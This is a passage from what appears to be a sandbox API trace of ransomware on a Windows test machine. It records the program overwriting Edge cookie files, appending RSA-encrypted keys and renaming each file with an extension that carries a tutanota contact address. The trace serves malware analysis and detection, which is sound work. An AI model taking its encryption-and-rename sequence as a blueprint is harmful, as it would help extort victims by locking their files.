lpNumberOfBytesRead=0x2e3f9b4*=0x22a, lpOverlapped=0x0) returned 1 [0299.941] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.941] WriteFile (in: hFile=0x1b90, lpBuffer=0x581478*, nNumberOfBytesToWrite=0x22a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x581478*, lpNumberOfBytesWritten=0x2e3f9b4*=0x22a, lpOverlapped=0x0) returned 1 [0299.942] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x22a [0299.942] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.942] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.942] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0299.942] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0299.942] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0299.942] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="RCHAj+efIScLHRBgezRimi56cERcszBl+KBmwvrRSieBUMkHVaQdEEBuCdc/FcUS\nmfjKuS/5bPItDo/vvolegIP8GkOWDRCW7Zq1oMl371igJr0PN2jmo6+rR0E4/YbT\nY+XEDHTp9yau6YOExBXJzK5fTfKSjsTFSYvNouNtmfpMUjF4XZXsWgNp+J/BZxf3\nQWkZT/0sqkFjdCnSyCe7sHZHCBxtF2oiSqI1ip2ajwM+lb3brXX0Zb+LRcztyA6k\ndNhggmBqEc0SUrRmux7fE7MJW5ePDe8vfbZ1xbBs/9Cmr0nxmJsUf8Wq4mwr9sXd\nbB13kIiK+JPhIzP3O3vOiA==\n", pcchString=0x2e3f9a8) returned 1 [0299.942] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0299.943] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.943] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.943] CloseHandle (hObject=0x1b90) returned 1 [0299.943] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\K7RPYYP8.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\k7rpyyp8.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\K7RPYYP8.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\k7rpyyp8.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0299.947] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0299.947] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\JPVRD62I.cookie", dwFileAttributes=0x80) returned 1 [0299.947] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\JPVRD62I.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\jpvrd62i.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0299.948] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=89) returned 1 [0299.948] ReadFile (in: hFile=0x1b90, lpBuffer=0x5c7e70, nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c7e70*, lpNumberOfBytesRead=0x2e3f9b4*=0x59, lpOverlapped=0x0) returned 1 [0299.949] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-89, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.949] WriteFile (in: hFile=0x1b90, lpBuffer=0x5c7ed8*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c7ed8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x59, lpOverlapped=0x0) returned 1 [0299.949] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x59 [0299.949] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.949] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.949] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0299.949] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0299.949] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0299.950] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Iz+o0Bxb/R/upPEobEYen2NifdovGzXtLqb7saFKN9J/QZ7oDGxkzFLwq2zxKck6\nxkHE3p2Ha0xD7Hh9846YjNvUkDM6GWZbActNini3UbkeSFQurVRZZNwLAHT7Vsmh\nnUYDNwhvVqvbkK/gGa0AG+gJjrtOI+bb4tESW7D+Vn3ROTmYiBxFWrcz5xMC7wsZ\n6p7rxMN6Nm0LoDjfHb4GY3oGh672/I0GRRFlE+azV3bRb8WEqrA0oApfcZ03XfOu\nNMBYcm1ZuXJpYYSWTyeCXLCwUwH3ga3aoUjZ18O3esTspfCT+K6CqYi7pkrFjqnx\nawElKwJqSr+swj7fnIFBIw==\n", pcchString=0x2e3f9a8) returned 1 [0299.950] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0299.950] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.950] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.950] CloseHandle (hObject=0x1b90) returned 1 [0299.950] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\JPVRD62I.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\jpvrd62i.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\JPVRD62I.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\jpvrd62i.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0299.951] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0299.951] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\IGINNTRA.cookie", dwFileAttributes=0x80) returned 1 [0299.952] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\IGINNTRA.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\iginntra.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0299.952] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1195) returned 1 [0299.952] ReadFile (in: hFile=0x1b90, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4ab, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4ab, lpOverlapped=0x0) returned 1 [0300.298] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-1195, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.298] WriteFile (in: hFile=0x1b90, lpBuffer=0x313e810*, nNumberOfBytesToWrite=0x4ab, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e810*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4ab, lpOverlapped=0x0) returned 1 [0300.298] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4ab [0300.298] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.298] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.298] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.298] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.299] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.299] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="erPeAO9pPWls8qSR+9sy981tQ++pXjl6Vl/v4OL+LG3HKQFlXpDhQHEc33UdZtDe\n5cIyslGEBPIQ8ezftTIkk/wUwazkSs2ScLYJGikNGiPrfrY9xC7rF432lZbI8BYr\nBgeZZ1oLqwq+a7FxS/1luwMa+ziEZwIWxB8OflixdUqGIQxh/ckgw5GfGVBysNUc\nSoOHuvXdB9fs16iXcbQad+GyqhtPDjPjSoNmUBHLj9P5Qc06kZeokFKolmQruTN1\nlH95nXOq6nGbeGgQE7nyWMB+Fvo9NUP4G2VcfGpAWf8rVZg7Y+w0RF9ne8Q9wg7h\ng+TP6so+9YrEMb6xP7cwQA==\n", pcchString=0x2e3f9a8) returned 1 [0300.299] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.299] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.299] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.299] CloseHandle (hObject=0x1b90) returned 1 [0300.299] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\IGINNTRA.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\iginntra.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\IGINNTRA.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\iginntra.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.302] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.302] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\H9MBWFAY.cookie", dwFileAttributes=0x80) returned 1 [0300.303] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\H9MBWFAY.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\h9mbwfay.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.304] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=90) returned 1 [0300.304] ReadFile (in: hFile=0x1b90, lpBuffer=0x5c7ed8, nNumberOfBytesToRead=0x5a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c7ed8*, lpNumberOfBytesRead=0x2e3f9b4*=0x5a, lpOverlapped=0x0) returned 1 [0300.305] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-90, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.305] WriteFile (in: hFile=0x1b90, lpBuffer=0x5c7f40*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c7f40*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5a, lpOverlapped=0x0) returned 1 [0300.305] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5a [0300.305] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.305] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.305] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.305] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.305] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.306] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="u0/YRLsyjqfWB0QNkdj351sWEOahjA/kK1P1eN9nnNYfu18cOlbXO1ROH0v6gxRH\n6m+SNLwQ61blNh1gS3lOeYRFjvHIadj/QthadZXbf309nMNPYcj8m1TO4yadsxTl\nkAiIEdFrWjXn/ijYEPto4isMZjcoCHDPqGei4i2iXm7nFGzqstzy4CTZeMz3jXy5\nyxdS85FFU3Md8/Z2Vj4QMGWAoGVYpvkFfwLNbn5hH3g5RWDejV5mgTLZTcpW7Tky\n2ZFig7V0aTjjGJ+50tf5TfwJt5gkKriZWDPN+kyVzL+91A0FOkYX2pXK7g9W81Wd\nU0ADIDuyrAnd+YmuyS9NVA==\n", pcchString=0x2e3f9a8) returned 1 [0300.306] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.306] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.306] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.306] CloseHandle (hObject=0x1b90) returned 1 [0300.306] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\H9MBWFAY.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\h9mbwfay.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\H9MBWFAY.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\h9mbwfay.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.308] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.308] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\H9FTOC54.cookie", dwFileAttributes=0x80) returned 1 [0300.308] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\H9FTOC54.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\h9ftoc54.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.308] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=160) returned 1 [0300.308] ReadFile (in: hFile=0x1b90, lpBuffer=0x2f89590, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f89590*, lpNumberOfBytesRead=0x2e3f9b4*=0xa0, lpOverlapped=0x0) returned 1 [0300.309] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.309] WriteFile (in: hFile=0x1b90, lpBuffer=0x2f89638*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f89638*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa0, lpOverlapped=0x0) returned 1 [0300.309] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa0 [0300.309] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.310] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.310] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.310] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.310] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.310] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="OZnGXqSeWy+JTPQNx3HhWCTHdWY/kpskb2U2MLEktjqu5saRr6TvRUjz88EipPW3\neQkqBHCcXw7vs69Nxxkf6AxRwc+JiXiaGnRIajHsib4F+JB0ve8uxiTFfXADeApr\nJmPmhrCqrK7+ss0CxkcuhsFgv0JKCh33yaR9VEIt9a2rT+k6/HQw04EZWQ6UJq1E\nKcu8SM9o2HkGf7rX2V+ieVvURdh06muzKgD3ZV/YLmSC8ZegU3bF/cvNfDHwIuJJ\nD/lGt3hoCQqQGHSauJEwNCHLu6r7Y3D8Q4v+z2ojcRG/RPgTONpvBMKSiPFFBhEP\nJWvQHJSUULDYogZTbv0JFw==\n", pcchString=0x2e3f9a8) returned 1 [0300.310] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.310] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.310] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.310] CloseHandle (hObject=0x1b90) returned 1 [0300.310] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\H9FTOC54.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\h9ftoc54.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\H9FTOC54.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\h9ftoc54.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.313] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.313] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GVXIDORE.cookie", dwFileAttributes=0x80) returned 1 [0300.313] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GVXIDORE.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\gvxidore.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.313] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=91) returned 1 [0300.313] ReadFile (in: hFile=0x1b90, lpBuffer=0x5c7d38, nNumberOfBytesToRead=0x5b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c7d38*, lpNumberOfBytesRead=0x2e3f9b4*=0x5b, lpOverlapped=0x0) returned 1 [0300.314] SetFilePointer 